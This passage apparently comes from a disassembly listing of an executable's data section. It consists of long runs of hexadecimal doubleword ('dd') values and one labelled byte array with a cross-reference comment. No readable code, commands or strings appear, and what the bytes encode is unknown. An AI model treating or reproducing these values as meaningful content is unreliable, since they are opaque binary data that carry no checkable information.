802689BBh, 64924036h, 831EF404h dd 30FCA257h, 5A89C0Dh, 66C225D5h, 90A0E410h, 5993CC03h dd 9A942187h, 84AA6050h, 0FD1B0FF7h, 0D18E06ABh, 27DC5BAAh dd 3E6465h, 0D785946Eh, 0CCBFDAFh, 704B768Dh, 550DC728h dd 0E8447F53h, 0E2A0843Dh, 5D0039AAh, 676FCDD7h, 0F216EB3h dd 43E3A2D0h, 0DDA09642h, 0E5810441h, 0FD82698h, 82E55B7Bh dd 0E0A38F2Eh, 9841FCB8h, 0CD011676h, 0D970A003h, 74C8234Fh dd 4B715Ah, 0FEFD2EE5h, 5C76A70Dh, 729C3300h, 0A25BF1B0h dd 451896C3h, 0DE81094Ah, 25137780h, 19001DA4h, 0ACEE3B4h dd 30EA29B1h, 9438EE62h, 0CA88C21Ch, 2AE612FFh, 0C1D040F3h dd 0EC1B94B2h, 0E9D021C4h, 0DCA0B4ACh, 7A01A5CAh, 17E83875h dd 6F20C403h, 130972DBh, 0C8418463h, 788C225Ch, 0BBD11108h dd 0FB3E0072h, 9CF38035h, 0ED2D00D3h, 0F98C95BDh, 562A9C9h dd 0BCA0A0h, 0D6E75B6Ah, 0BC137EFFh, 1F307055h, 0DC291B81h dd 0F300D311h, 0D9C51DE3h, 93073209h, 633F97B6h, 0F5568D20h dd 0E6FB0BB9h, 60F87989h, 0AD5FFE00h, 2D08D724h, 37524B0h dd 685E0884h, 0B34AE380h, 2FB2DF33h, 444408F1h, 26801B22h dd 58205784h, 8049790h, 77F7EA0Fh, 4508B4B8h, 0CE9A6431h dd 0D280068h, 12911C7h, 16F1CD74h, 802B9AE7h, 0A7EED7F8h dd 50DB2681h, 76FA8ABh, 1E461AA3h, 294A106h, 38703FCFh dd 58598Dh dd 4F47BDB1h, 0AD66731Fh, 94489B26h, 9602C902h, 8158DCFFh dd 0CF92B137h, 0D4C040A3h, 4CB8473Fh, 23EC5B53h, 2D202C1Dh dd 0E94BF010h, 6A00DB74h, 400A8186h, 1A2E0C9h, 9173DA3h dd 2A96321Ch, 1BE82832h, 0FF5E20FCh, 0F89C6B52h, 0EC00BC59h dd 0C80A319Fh, 71331381h, 9960B0F8h, 0BA62884h, 0FF1907A0h dd 0CB38F11Bh, 0E8115CE3h, 0D002C404h, 0C8EE60B1h, 7C06243h dd 0F4B892FFh, 0A49849Ch, 0F800C7B5h, 0B5ED63E4h, 6A7300E1h dd 0C2D1DA45h, 40049EAh, 0CABE664Ah, 48052EFDh, 0C84B28D2h dd 1E00A9C8h, 459B27D8h, 0F0D1DE4h, 127D5DF3h, 0CA52E6E0h dd 66205CE3h, 0D16A12C2h, 800CE2E5h, 245643BFh, 0B3300046h dd 0A992502Bh, 0E1623ADCh, 0DCFECFF9h, 69A85394h, 0D800AFFBh dd 870EED1Ah, 725EA4Fh, 9A93C479h, 3ECF82AAh, 0C568EA60h dd 0C426182Fh, 0A3700338h, 7C8BF559h, 8468FDA8h, 44A5C24h dd 4040D169h, 51D77A8Ah, 0A8572A02h, 0C1F823BFh, 7C225AB2h dd 9655010h, 598E216Bh, 0C92F0BECh, 0C0C45E00h, 0F4269EE2h dd 0D200A47Bh, 843B835Fh, 11973CEh, 0C8A96D66h, 208E8A3Eh dd 7AE68814h, 51C6804h, 6C8055B2h, 22D5623Bh, 0E100C576h dd 5A462A0Ah, 669A8926h, 21EE0942h, 2A328100h, 9861DDBFh dd 4B44043Fh, 82F359A1h, 4060CBB8h, 5E809746h, 9672611Dh dd 0A110099Ch, 0EC713840h, 8601F818h, 171B2769h, 223FFB19h dd 9C7421BCh, 5C690C70h, 0A902499Ch, 44727DE6h, 495ACE4h dd 22207EC0h, 53605E0Dh, 0A6AB37A8h, 83896D0h, 0F901D585h dd 9B7D33C0h, 0AA2F4180h, 9D19CAA5h, 0E69460Dh, 0B0220885h dd 0A5924E00h, 5E6B9A8h, 0F4062F05h, 0CCE2A9E1h, 6976C400h dd 0AC2AA146h, 0FC4DF607h, 6E60B77Bh, 14C02B5Dh, 0A42EC6F7h dd 1DBBFB2Eh, 85C1709Ah, 110103EFh, 66E5121Ch, 8975AE4h dd 47A4908Ch, 9900DF04h, 2DC2F73Ch, 1871C0F8h, 0D070ED17h dd 9D0F0118h, 81086877h, 1998048Bh, 605BF0D0h, 0B1E03459h dd 97B8BC41h, 2A00E976h, 0FB45487Ch, 822FBFh, 6998D288h dd 0DC8CCFD5h, 0F6B6B900h, 4049ED8Fh, 26E40006h, 97BA7F90h dd 0C700287Dh, 0D46E899Ah, 0F3851CAh, 0ED1DA0BDh, 0EFA4D740h dd 4A0042B3h, 2A028D7Dh, 10622ECh, 50B9FC8Fh, 0E8BE94E9h dd 370366C6h, 357E3FDBh, 2254B887h, 692E1A84h, 59C0193Eh dd 7A03856Eh, 0E5181C7Dh, 0EFC9D0B4h, 96D0FC0h, 20405828h dd 0ACFF5CA5h, 9F388D6Fh, 182E4CCDh, 7C3C76D8h, 0B35F04A3h dd 1064B9h, 3E58BE7Ch, 7E3B305Bh, 0C5B51C20h, 8C15C109h dd 0F54D8324h, 0FE3200E4h, 16E060Ah, 66004E5Eh, 828C3697h dd 7CBDA2ADh, 18560341h, 6D8D8A5Ah, 9DB707F8h, 75F62600h dd 135EC081h, 808803BEh, 250830BCh, 68C8E1DBh, 871F9A2Dh dd 980C9C3Ah, 44C01950h, 283DBA29h, 49C080h, 0DA3CB82Fh dd 88046E7Fh, 6362100Eh, 0F41B2033h, 0F0820BCAh, 2CAD019Bh dd 81A5A466h, 61D97090h, 1D07F03h, 0A1CEA7A9h, 20806375h dd 93E3D8EEh, 6B000F45h, 0E5F18922h, 1C8024h, 5DCCF33h dd 0FBA92BA6h, 60815100h, 8B66F5E8h, 57901D69h, 277D8420h dd 6FF6C053h, 1A048A78h, 11E85F58h, 6860C4ECh, 0AD246621h dd 3EE62B00h, 79B8279Ah, 0AE20D46Ch, 0A3FB3C0Ch, 5C00C429h dd 562D8E6Bh, 3A2F6774h, 105075BEh, 6CEE65h, 0EA6ACDE4h dd 9554ABDh, 0B50C6000h, 33B92A68h, 6480A81Fh, 8AFCC0E8h dd 4E1B0969h, 23940352h, 2B22C9Fh, 0CEDF6157h, 10729499h dd 7EE3D4EAh, 0CC95007Ah, 0D75697E7h, 6860EDF6h, 81B8D950h dd 2868A05Eh, 95BB3018h, 3E22D10h, 2398F700h, 4CA30E30h dd 9F6A0038h, 477F3D89h, 0D3000B17h, 1F8B2F69h, 0FB9FF31h dd 4ACB648Ch, 782CEC3h, 55CAF1E8h, 61AD6F04h, 0DAC0FA76h dd 15C2CFh, 4EFBC942h, 0BAABB89Dh, 9A2C720Ah, 0F7008ABFh dd 30E1E031h, 369E0090h, 57725A32h, 4D07EB08h, 0D7190AB4h dd 3AE32600h, 0DAE2F6h, 1A6AB7BAh, 0CC378983h, 1660C300h dd 59AB008h, 786E07EDh, 0D0F10621h, 5579D995h, 88448A00h dd 6D206997h, 0FB1707B0h, 0C0F01175h, 15814786h, 895118C0h dd 0FE031ED2h, 0C12E10E4h, 0B1C600F9h, 42F8B8FEh, 0CF513A50h dd 0E2B90B00h, 99C5403Bh, 0BD7F061Fh, 1C081058h, 0F20C044h dd 0F3934035h, 0B5D37A0Dh, 9CE838C2h, 11BE016Eh, 0ED15CA71h dd 0B162D4DDh, 8397433Ch, 89B6A4BAh, 81962Fh, 4F259127h dd 0B901E8B2h, 8ED349CEh, 11707F3Fh, 852319h, 0EEC63257h dd 0F00E3B9Fh, 2100F3E9h, 1F855B88h, 7EE17883h, 27A40007h dd 0EA203B12h, 57BBC01h, 0CC1B9B1Fh, 0E2CF3206h, 0E368DD70h dd 56853A07h, 341260ADh, 52792004h, 8C010985h, 83A0F312h dd 0D020A664h, 1A7BEE14h, 0D87D8D3Fh, 83BCA807h, 100012FDh dd 6ED38297h, 0F2B9A10h, 0B68D2CCCh, 0F418CE81h, 1EDDC881h dd 0BEF6A97Fh, 0F0879300h, 0F80C0F28h, 1238000Ah, 0BA980D3Eh dd 5A006BAEh, 2DE43BABh, 1821F8Dh, 7CD91B5Fh, 617D9F15h dd 6585D831h, 0C49A580Bh, 0E95C0FE6h, 93C180ADh, 17F81Ch dd 6EB172C8h, 9B156648h, 22EE39C0h, 8622Ch, 82EA90FAh dd 0D6E98599h, 0F6F18403h, 9EFCE8E7h, 648607E2h, 40CE1D65h dd 7311FAB1h, 48474A00h, 944FCBDCh, 10786BF9h, 602BC400h dd 0F000138Ch, 256A23D3h, 16A15DBCh, 39E264h, 0B743F580h dd 200C70Eh, 0FD3CE770h, 0F5AAD017h, 2A00A8BEh, 91223A5Dh dd 10C028BFh, 0A75AAF92h, 0D770183Dh, 8D99286Bh, 1F494C00h dd 988B3E42h, 7E6A302Bh, 21913688h, 0EFF6D600h, 0FA9274DCh dd 2FC200FBh, 110E70B6h, 0CD79C725h, 66055A01h, 0B8BED84Dh dd 709D81BCh, 0A11E40C4h, 511D44C6h, 0E931261Ch, 8C8C8B4Bh dd 11DC0Eh, 77CC0D3Ah, 0F7680EFFh, 2433592Ch, 0D4CFA600h dd 3C96E938h, 39BE1373h, 61B66307h, 0FEC36089h, 0E9034736h dd 0DB5DBF46h, 0E316B005h, 0ADA10018h, 1F14AC7Ah, 74E6D267h dd 1D855400h, 3919AF62h, 59D739B9h, 6B6D0A09h, 0DD344380h dd 140005A4h, 0EDF1CF22h, 0A59DFAh, 398C88D1h, 56C4FDE9h dd 31017600h, 1AEBBE80h, 0D0E86C6Bh, 0C7FAB591h, 8D8E1800h dd 17800BE4h, 87BC3068h, 6C1D8B40h, 0E0FF047Eh, 0B73FDE6Dh dd 428500EBh, 9462C845h, 9E9D39A9h, 0A033A201h, 70D79BA7h dd 0BC015449h, 0B48F7842h, 0D8D063F2h, 0F520C09Eh, 0DA37ECA3h dd 767C3400h, 0FD80C5D0h, 7400794h, 0C0C3880Ch, 3B1E3225h dd 3A8F8200h, 0DBA51A05h, 0A97ACDh, 0BC9BAC1Ch, 0D52A235Fh dd 1A0318EAh, 0A9CA1021h, 9A893A37h, 0D6813FBCh, 1535F4BCh dd 36408388h, 14E72Eh, 167A2718h, 0D7F14A9Bh, 6D06387Ah dd 8FD44537h, 99BB0049h, 9B422F61h, 1A1DC3D2h, 2018D5F4h dd 1D51DE21h, 0C089555Ah, 5D1E74A1h, 8CA8CA70h, 7130F9B0h dd 5E9A100Fh, 0ED8E00B1h, 0AFC406Ch, 7010B2Fh, 7A2B53BDh dd 9ADC5444h, 3BB0014h, 0AE628613h, 0DD00EC2Dh, 87E690D3h dd 4603721h, 1F4E9709h, 3E561489h, 5113785Ah, 87001C0Dh dd 6B704D28h, 5C0F003Fh, 447DE66Fh, 7906C159h, 13ED5112h dd 9D614429h, 0B0BFBD01h, 3C87D24Bh, 7643ADE8h, 0F4C800F1h dd 0FE1EFA6Eh, 410005E9h, 4D0E9530h, 0E27B35C3h, 96810056h dd 0CCA86B32h, 0FB00A60Dh, 4C430565h, 662EF8h, 0DFE692E3h dd 0CABF9926h, 0CB13E0E4h dd 0C5008313h, 54C7CF18h, 3F660E76h, 68E062E1h, 1B7FE342h dd 0B50BAA01h, 136C04B8h, 0EDE0DEE5h, 188A01C4h, 0F6353E56h dd 6ED2F8DCh, 30B2B601h, 1DE5F4A6h, 60CC9042h, 0BFC6ABh dd 80E8ECEBh, 0C9CB2F45h, 0F6001171h, 5C076630h, 0A33238h dd 85D39B72h, 0B3EB2953h, 0E9589200h, 0B6048CA9h, 14E600B1h dd 0B7D5C2Eh, 0E878EEA4h, 7ACB8A00h, 758C5596h, 16099061h dd 0AC789007h, 63FB0F51h, 6987C001h, 1CCDEABDh, 0C0C97DF1h dd 918EF286h, 14302B19h, 0C671B020h, 0FC6C3BD6h, 13E8C900h dd 5BE08F8Ah, 573A0476h, 0C21A80BDh, 0A105F5D9h, 0EB2A19B5h dd 60FAC61Eh, 4D1601F4h, 0A1018904h, 49C861BFh, 5A62C440h dd 233009Fh, 0E2282B75h, 3007FC15h, 98B0E63Dh, 0ECAA100h dd 0F3A800EAh, 0B68C7294h, 4301D2F2h, 8058FC45h, 6FD06B08h dd 1CC8002Ah, 6ACD85A2h, 1D0E6C22h, 1FB3CC45h, 2555C830h dd 83E500F9h, 2464FEDAh, 0FC01FD15h, 0A32F631Fh, 0C520073Dh dd 38191211h, 0BA20401Dh, 293E62C2h, 731A3D00h, 97F45C50h dd 601DFE33h, 0DE16C848h, 3985405Eh, 0BF3C49E0h, 5000578Bh dd 6D25C433h, 30E4BAF4h, 0F740470Ch, 700045B1h, 0AB6F5771h dd 0ED1331h, 0D52976B8h, 0B32B7D27h, 0B2C07812h, 40CBB001h dd 0FFBCF1h, 8D88DB28h, 0BF6C45A4h, 6AC5B300h, 3A912F9Fh dd 446F0561h, 8084530Ah, 4C79CB7Bh, 78A1900h, 54648B63h dd 6FDB000Eh, 3F89CF76h, 8C1D9FB5h, 0CAC02B67h, 23706349h dd 9EB20069h, 0F8F66874h, 300383Bh, 10B5F488h, 0C0FD932Fh dd 146A1F98h, 1848AB1Bh, 3B3887h, 8FF6C283h, 19A6BDh, 0A529B43Ch dd 9696B71h, 30F9F400h, 76DABA36h, 9C4817E8h, 4C7400B8h dd 0F9A41A96h, 0FDE1F800h, 0B562DB30h, 767100DEh, 4D7E407Bh dd 9900DA7Ch, 50B28709h, 391D4649h, 8A13A6C9h, 8D480038h dd 28E1E893h, 70699B00h, 0D8D5EE99h, 12400E9h, 71CAC20Dh dd 0EB00E313h, 0E5E46326h, 0AADD6h, 0D15DB7C5h, 0C38B1CEAh dd 0FE8D3300h, 0FC4FDC7Ah, 0B10500DEh, 0A6EA16ADh, 0F60055D0h dd 27145848h, 6395C49h, 5013D441h, 0FE0070D2h, 2C58917Eh dd 1D4ACCh, 1905DEEh, 36C24CA1h, 3163AA00h, 0A27E26EFh dd 0CD9900DEh, 45E6502Bh, 4058ECBAh, 66D90099h, 44A7B10Ch dd 77171FBh, 8F1750DEh, 0F74D7068h, 16091D69h, 208CBA8Bh dd 77A6D17Ch, 72DC00C9h, 9673F5E9h, 0A800CD7Bh, 9D3AADE4h dd 0A5B89Ah, 0A4A295F9h, 8191B915h, 98E65700h, 0F352BDB0h dd 79E801E4h, 69C19FE2h, 0B542007Eh, 0A4934CC2h, 0B2D81000h dd 0A931C61Eh, 0A1386E05h, 38C0D4CDh, 0F209F106h, 594300FFh dd 965544EDh, 0C80014B0h, 0ECB5CCF9h, 990A00Dh, 0E5698E47h dd 6E1B4400h, 0C301F21h, 0B7159295h, 1D3A016Fh, 0F658F537h dd 0ED18C086h, 0CBD6F100h, 0B0191C66h, 18BF8CAh, 0B65A4FB2h dd 30D3AA85h, 0EB5841E4h, 28528058h, 0FF0688Ch, 0DD99A250h dd 0E643E7E3h, 0A3186EA8h, 0FCAC0802h, 4055BFEFh, 7FC7D8h dd 9F652379h, 0A16BA231h, 38B7E200h, 0ABB49A8Fh, 4A7A00D9h dd 8DDC7691h, 5700BCCEh, 1293469Dh, 232DD0h, 0E8194B55h dd 3E8401E2h, 0BB6A9007h, 54D39CC2h, 0C00AEB50h, 39DEF96h dd 0CA4013A1h, 8C85FC9h, 20A82A19h, 0C5F2C09Dh, 0F73DAD7Ah dd 833B0ED7h, 0F162A780h, 0A10D0561h, 1C7F2BECh, 0F76CDB0h dd 9C00165Bh, 0E58751F8h, 8F290B00h, 8D7F70BAh, 0B4966ABEh dd 86AA87E4h, 34A190A7h, 2C3A5DC4h, 4FEF9F50h, 0DFFFA80h dd 3E0BE104h, 0B8F9D12Bh, 72CEEF9h, 0BDBB1235h, 0CFEC30D6h dd 1B04B2E4h, 0AB561AC8h, 8C60C887h, 67A11D3Bh, 87741148h dd 9F8DC1B0h, 0F01C755Eh, 0FA03859Eh, 0F3980218h, 0CA08053Dh dd 0C01D715Fh, 66CEC814h, 0B6FA1900h, 0FD0D953Ah, 0AB3F0082h dd 6F531BE4h, 701CE7ADh, 80097EAh, 7162A39Ah, 643239FAh dd 1BE3A08Bh, 5A7A58A3h, 3FD22288h, 3CF890E4h, 0CD2A4500h dd 3B399DCh, 5248001Ch, 217798ECh, 0AB205F87h, 2C1E3C79h dd 0AE146980h, 0B072B808h, 3AB2EB09h, 48CE0040h, 0BE5933h dd 41157ADCh, 81213643h, 0A97B000h, 0EBB9F56Bh, 7A83074Bh dd 706CE0EEh, 796D20DFh, 0B2AFD207h, 423032F6h, 34E438h dd 59963B65h, 0A654F12Ch, 2D2FDD0Fh, 430BE7B0h, 9E128CE1h dd 0A2260h, 5A3EAF86h, 4C2716ECh, 6A33E300h, 0B03644EEh dd 51A2006Eh, 0A0735A42h, 0A7071754h, 0E95F46A8h, 93CB79C1h dd 71643FCh, 0A6901DE3h, 9A75F92h, 7B26A2D8h, 183AF8E8h dd 0FBF17000h, 0E8FF7833h, 12D27645h, 409F6E7Bh, 0DD095628h dd 0B80CDF0Bh, 18BD6D90h, 5D653FB9h, 0BEB5B380h, 2F44E3C7h dd 3A5BD300h, 489FB1F5h, 15FE8AAh, 1F8BA550h, 70E76DEBh dd 31606524h, 5121C81h, 0C9AB00D0h, 13AC392Bh, 0B800D414h dd 0A9B18C5Ch, 0F233404h, 0F85EFF4Dh, 0D3448Fh, 73819979h dd 9D00A0CBh, 0D4023079h, 48BE6AD3h, 8C304C91h, 2DEFE221h dd 59004C92h, 7A39D0B0h, 783DA07Dh, 27283345h, 38D3C011h dd 202C997Ch, 0C3BA551h, 19DFDCC2h, 3AF11B57h, 0A0C1D048h dd 105570CAh, 6647980Ch, 46681Eh, 19CCACA5h, 0DBFAE71Ch dd 609D3B00h, 0E8B22D0Bh, 8F0D0A4Dh, 0A4B53Eh, 2353A688h dd 4200FCE3h, 0F660A004h, 924C61h, 80DE4E3Bh, 9AAFC39Eh dd 212AD301h, 3EB64672h, 0FFB67C0h, 1BF2AB3Bh, 0E3B006C0h dd 11CAA5F3h, 19D604A2h, 10A0CD0Dh, 4DD7C0DAh, 0AA354900h dd 0BB1CF51Fh, 0E410059h, 6A510DDCh, 0D918A2D8h, 3E29D610h dd 0CEE38821h, 8455FD40h, 22D21A22h, 7B2213E2h, 6B8922DBh dd 20E0B522h, 0B4703E16h, 51AB3C00h, 1DAF3B0Dh, 8C340079h dd 7DAD6125h, 6F5B21ECh, 10ECE0h, 7790975Eh, 0A62EA02Ch dd 353AE21Dh, 0B3340880h, 13403DC2h, 1B955BDh, 24C9F3BFh dd 1091207Eh, 39AE7700h, 0C6268BCDh, 0A8CA00D9h, 0E647837h dd 800085D1h, 4B03114Ch, 1636F320h, 0B35AF1h, 0B5FDDC67h dd 0F8073522h, 61976940h, 4126F901h, 7529D8FCh, 0AC6B0001h dd 1A36166Ch, 0CEE8CB78h, 0D9FC0A00h, 71D01529h, 872C0083h dd 66D3F042h, 43389908h, 62728379h, 22B053h, 5C7B31C2h dd 9434CAD4h, 0AB403760h, 132651A3h, 1E0EF0EBh, 0ECB115CBh dd 0CD7E7D02h, 9C10D02h, 1029D8E3h, 84EA5A00h, 0D4DBAD8Dh dd 24BCECDCh, 1D4E62B5h, 0F59980F8h, 64D69F81h db 0 byte_4E0049 db 0CEh, 1Ch, 0D3h ; DATA XREF: ___:0042CC94o dd 0FA6398B0h, 0D9F800DFh, 751A26A4h, 95050F57h, 0CEB23E55h dd 34676180h, 6C4A007Bh, 3876F865h, 9DE2B49Ch, 0F736120Fh dd 0E70E60EBh, 7CC3C2Bh, 0D6A8418Ch, 0AF98100Dh, 12333D08h dd 884E21F3h, 7D1864E1h, 71FF0345h, 6328675Ah, 35F4A2D8h dd 30139700h, 0E793906Bh, 3EB40041h, 0D0F81B51h, 3F07A729h dd 0D73B9CADh, 9762B600h, 60491805h, 5E4811BBh, 4ACD1F00h dd 63FD4DAAh, 0EF02001Ch, 68E16B47h, 5010192h, 30EA6F19h dd 0FBFCF03Dh, 7BBD07E8h, 10C2537Ch, 0EA5F745h, 5E61B60Eh dd 0B175E068h, 145830C4h, 0A0F68044h, 0C3CC3600h, 2EBC0772h dd 0E78CAA1Fh, 43574F40h, 0D46721h, 6750C6Bh, 64F3BFADh dd 9000F178h, 14D6D36Eh, 207980h, 0FC6C5D60h, 0E0DC48A5h dd 886DC000h, 0D3CC05B0h, 0B48F0FA6h, 6AA721Ah, 803C70FCh dd 0F16FBAF2h, 0AB818010h, 18835CA2h, 0F8EAA4B1h, 9400F48Ch dd 38C180C7h, 0EC49D45h, 0BFB50F43h, 0C02FCA9h, 3048D003h dd 6300855Dh, 681551E4h, 0C99B98h, 87FCA34Eh, 8621D5E6h dd 5A0EC607h, 6A645F49h, 23470C80h, 0D3B851B2h, 0E212D4h dd 8190C936h, 51D33115h, 1165FF09h, 0C4B007Ch, 3F6E4C50h dd 29001AE0h, 91ABE26Bh, 270E603Bh, 27864573h, 2B90960Bh dd 3FB3C7Eh, 80044467h, 40A05283h, 531DA4E2h, 0EB808179h dd 0D2A84BBAh, 0A9100FAh, 0FDC45290h, 0D30F8ED0h, 0E0BC8DEDh dd 67665144h, 2C060031h, 9310D1AFh, 2E76C217h, 9AB08B00h dd 82FC7542h, 0C13D09F1h, 0A880DBCFh, 85540C15h, 8E9CE300h dd 732BEF2Ch, 411A1D01h, 7F3340FCh, 56E04E4Fh, 4C15F002h dd 634378A6h, 0FF8AA856h, 6F330E76h, 1DC17B9Eh, 0CC960CB1h dd 3001839h, 588A733Bh, 0FBB22Bh, 7EB0CE28h, 7D8927E6h dd 0F878A11Dh, 224F7743h, 0ABC58B5Dh, 23FAB1F1h, 34CCC20h dd 0C9F444D8h, 0C898D0CDh, 40FA7FD6h, 28F58E26h, 88D1B100h dd 0B6876Fh, 37D82483h, 764AA161h, 0D9006471h, 5E6AF838h dd 0B40F93h, 33A0F209h, 0C88F0345h, 27B13B06h, 100DCFh dd 52BD5792h, 8B654BE4h, 7A5743Fh, 0DB820548h, 8A0DF07h dd 3C15B32h, 79FE3447h, 48A16929h, 225EC4B3h, 0BED80112h dd 7285F400h, 0EA5024Bh, 621CC780h, 2A00AFF2h, 0DAB945B1h dd 9BF50082h, 0CB2725EAh, 0BF62D09h, 0AF92A904h, 38C04052h dd 0E961C56h, 2C627ED7h, 0B0036E6Bh, 480070F8h, 713B2E86h dd 3AD70B21h, 568D55A2h, 0E4806A60h, 0AE3BF891h, 7AC08012h dd 138F114Ah, 0A0640081h, 14C84BF1h, 0E0006FE6h, 0BA1E35EDh dd 44DC24h, 0C58BAFC0h, 0BC55B7D6h, 934DB600h, 0C3905C53h dd 0A7FA0015h, 2DE89C75h, 0BC00DA07h, 0A1F273FEh, 60D7A4ABh dd 547411BDh, 0BF00C52Ah, 28EF09E5h, 40D390h, 5FED13B9h dd 226E5296h, 602C7601h, 17B2CF93h, 1581BDCh, 5967ECF9h dd 60A8E68Ah, 7000ACF8h, 1E47B278h, 3BB038F2h, 0E4001F45h dd 6AB83C09h, 0B9FCE6A9h, 79775800h, 513889F5h, 58947E7Bh dd 0D62144CCh, 3903DA26h, 0B0A966E4h, 77872E76h, 214000EAh dd 3B09E624h, 23001804h, 2A073D7h, 72D901Bh, 8263FED4h dd 0AEA940B2h, 0AD48E984h, 1A03740Eh, 0ED3DCC4Bh, 9DB3E966h dd 90018BFh, 0D6317D23h, 8158F04Eh, 9F3E00F4h, 0FA94265Ah dd 529A39A8h, 4CFE2Ch, 0D0ADB06Dh, 0C67E591Ch, 9E133A7Eh dd 0D00049EEh, 312BC06h, 2EE70092h, 335C15A7h, 2500DD9Fh dd 0C12477F2h, 76459Ch, 3603CEEEh, 75215CA1h, 50FEF476h dd 0EDB0690Fh, 4D02762Bh, 60DD679Dh, 1D20D8D0h, 42A1B598h dd 66BA7109h, 4B3BB460h, 16F148h, 0A2FB21D1h, 1F31276Ch dd 9ED4A387h, 39B08045h, 0B6139CC9h, 5BB93B0Fh, 0C3DDE08Ah dd 102E38h, 96E6BC47h, 751DC01Bh, 6F955800h, 0B2036B48h dd 6DEB0362h, 0B4598A19h, 0FFB035F0h, 0C1D72400h, 4FD3B9BFh dd 70490012h, 0B2E45D97h, 0D2017167h, 59A1ED2Dh, 0E07B37BEh dd 0F901F62Fh, 1175C041h, 0C0808C2Ah, 0F7701DEAh, 0E6001329h dd 0C6103402h, 121B2287h, 19282Dh, 770A9654h, 0DD00BDE0h dd 45B67C0Ch, 9FEA85h, 0AF3665D2h, 5528C0EDh, 463C8000h dd 0E5E20FE7h, 0A5183F35h, 6B12CC80h, 0B448AAF5h, 38AB23Eh dd 0E4225D04h, 645B80E0h, 99A40046h, 0C7EAA062h, 50001AD2h dd 7A3F5F08h, 0CAC26Ah, 0FC1225B1h, 0BD369860h, 39706F00h dd 0BF28F879h, 0B2730090h, 83D9EB0Dh, 0F5070B78h, 0DB0993CFh dd 0ADA311C0h, 0A0063A7Dh, 82026600h, 581A4F3Ch, 1971C500h dd 345E9A65h, 6BC7006Eh, 8BF0B7C1h, 1503476Ch, 0F7C9AFACh dd 0D7A5E0FCh, 758700CBh, 7A6DE20Bh, 0F575B6A8h, 0C79A0C00h dd 719DEA20h, 0AE3601ECh, 3561B6Fh, 0E126347Ch, 0A6A2D61Fh dd 0FA9C53C0h, 0E88F611h, 3586372Fh, 31E77DE0h, 0CB1F5545h dd 0BA405DB1h, 95FEEEE8h, 0CE7A000Ch, 6017B8DCh, 0D9001A65h dd 0B7087239h, 793618h, 0A7F044E2h, 0DE0CC025h, 29A2920Fh dd 0A35E4073h, 0AF6B38h, 0C2F6CE15h, 0B1220AE6h, 0FC670606h dd 3F902B72h, 0FD8A0419h, 80B01141h, 8E3E7F9Dh, 33000E4Dh dd 6C04650Fh, 1882F69Eh, 38160D5Ah, 9D00A8BAh, 2E4A25FDh dd 14EFE4h, 9ED5E5CEh, 30487855h, 949F7900h, 0F6BACD07h dd 83E61DBBh, 0A7D3008Fh, 0A59AD8D2h, 4CFC524h, 90F49520h dd 2700D7E6h, 0C31091ADh, 38C8E382h, 353E41B1h, 0B21ABC80h dd 0D59A034Ch, 0BA008998h, 20D6A04Ah, 0A6A49Bh, 0B888B670h dd 21F07126h, 4900E27Dh, 0C366A045h, 0F407119Ah, 1DB60010h dd 6586C2EDh, 5701FA25h, 94B17EB4h, 32E43F3Ah, 56810976h dd 6002439h, 3B893570h, 0FCF71170h, 1700A066h, 0C3657E3Dh dd 0C0CAA992h, 0E118B0A8h, 0E907E085h, 94FE5E40h, 0A6EDF930h dd 38FC9Bh, 8E7DB29Dh, 24E042DCh, 5E0F4D2Dh, 707F1806h dd 0FA00EE77h, 8D69B078h, 7B889FEh, 0F4A09D27h, 1C671095h dd 391A4F54h, 60182228h, 18706D2h, 0D5EBA5E0h, 801269F4h dd 3C9014A8h, 8050CCC6h, 0E7F2A7h, 1D58314Bh, 66E927h dd 0E1A45508h, 1301B35Eh, 0C8979C07h, 28301047h, 75120051h dd 0E8EEE5A4h, 8B007D03h, 0C31C7133h, 19DD64CEh, 305543EBh dd 25B04083h, 0BA02D094h, 3226ACB6h, 2E8080A3h, 0B417BFh dd 3E16F911h, 904C8D56h, 7754DC04h, 80AED281h, 8A306C0Ch dd 0EA7BA80Eh, 0F28320D6h, 41C798h, 327F92BBh, 3C33DB25h dd 0EC3E6198h, 355C83B0h, 0C82DF1D6h, 2459BA89h, 8388DAC2h dd 0D1FADC6Fh, 0BFE07EF0h, 5D9A9700h, 3D10A788h, 45C9054h dd 52749DFAh, 0F3CD80BCh, 160E9724h, 8067A0FEh, 0D8338002h dd 39F1E6D3h, 8B809989h, 0DD7DAA75h, 24004E74h, 41F380D1h dd 1F5869BFh, 8B184A76h, 7800112Ch, 518A2B48h, 6F5F6700h dd 0B27CA689h, 0D8BC002Fh, 65395292h, 0D0FBB6Dh, 0C0FA24A8h dd 0E4E19E78h, 685F009Ch, 90D8B41Dh, 0AE00CB43h, 5607D691h dd 1EBF15A1h, 5E0EB919h, 1DE9C287h, 405D2550h, 9DF0BBh dd 4E1A0A55h, 0B637796h, 0B78D2100h, 30E15394h, 88980667h dd 547C4F87h, 1C3F7D02h, 60B82516h, 0E634407Eh, 28104894h dd 0F86EEF00h, 0CB5FBC13h, 4DD8B601h, 0A98162ECh, 739848D6h dd 0E1F659h, 11F76102h, 0E93D2586h, 70A4D449h, 2EE8CF00h dd 2FE0A07Dh, 0DE5B315Eh, 3344B150h, 518F30F8h, 24ED4ACFh dd 0BE90E995h, 0AC3A0F00h dd 6FF08867h, 6EA94606h, 486A5E11h, 3C71C4C1h, 3E03A20Dh dd 0CBBF9B64h, 0AC5F0C00h, 7ADD25F7h, 63704F8h, 8014709Dh dd 68BE325Ch, 802EA83Dh, 0D7D9AB58h, 0CF285Ah, 1A4941DDh dd 79B4BBC8h, 102AD80Ah, 8B00B011h, 1DBCB201h, 0A3A603EAh dd 0BDAA62FDh, 68C38EA8h, 4DD66500h, 738658E7h, 7F710Dh dd 4FC1E21Eh, 95FBCEC8h, 44A31F00h, 0D3B53C52h, 46A60085h dd 0B266AB10h, 0D0043B24h, 0C8171480h, 9683A880h, 39551F4Dh dd 0E45E11h, 0E64503EFh, 31000D7Dh, 69DBB93Ch, 0EDDFEAh dd 4798B85Eh, 0C1F2936Ah, 0F6E15F05h, 94415DE6h, 17E4685h dd 3F0E16F8h, 3C59E2E5h, 0F0BB28h, 0C06F8E1Eh, 412D408Fh dd 822C8A38h, 53ED0CFh, 0DBB448A5h, 0DD930295h, 16C01373h dd 0B36A38C0h, 0BB6CD20Ah, 0C63B864h, 4BACD095h, 4E780001h dd 91115A8Ah, 5C0E30D3h, 62C6C27Eh, 4315AA4Fh, 0C948EB38h dd 68341CFFh, 0FAEE02h, 5E4F2922h, 2A87C192h, 2E473D02h dd 68EF40E3h, 291A74h, 9F70C710h, 0EEADD6DAh, 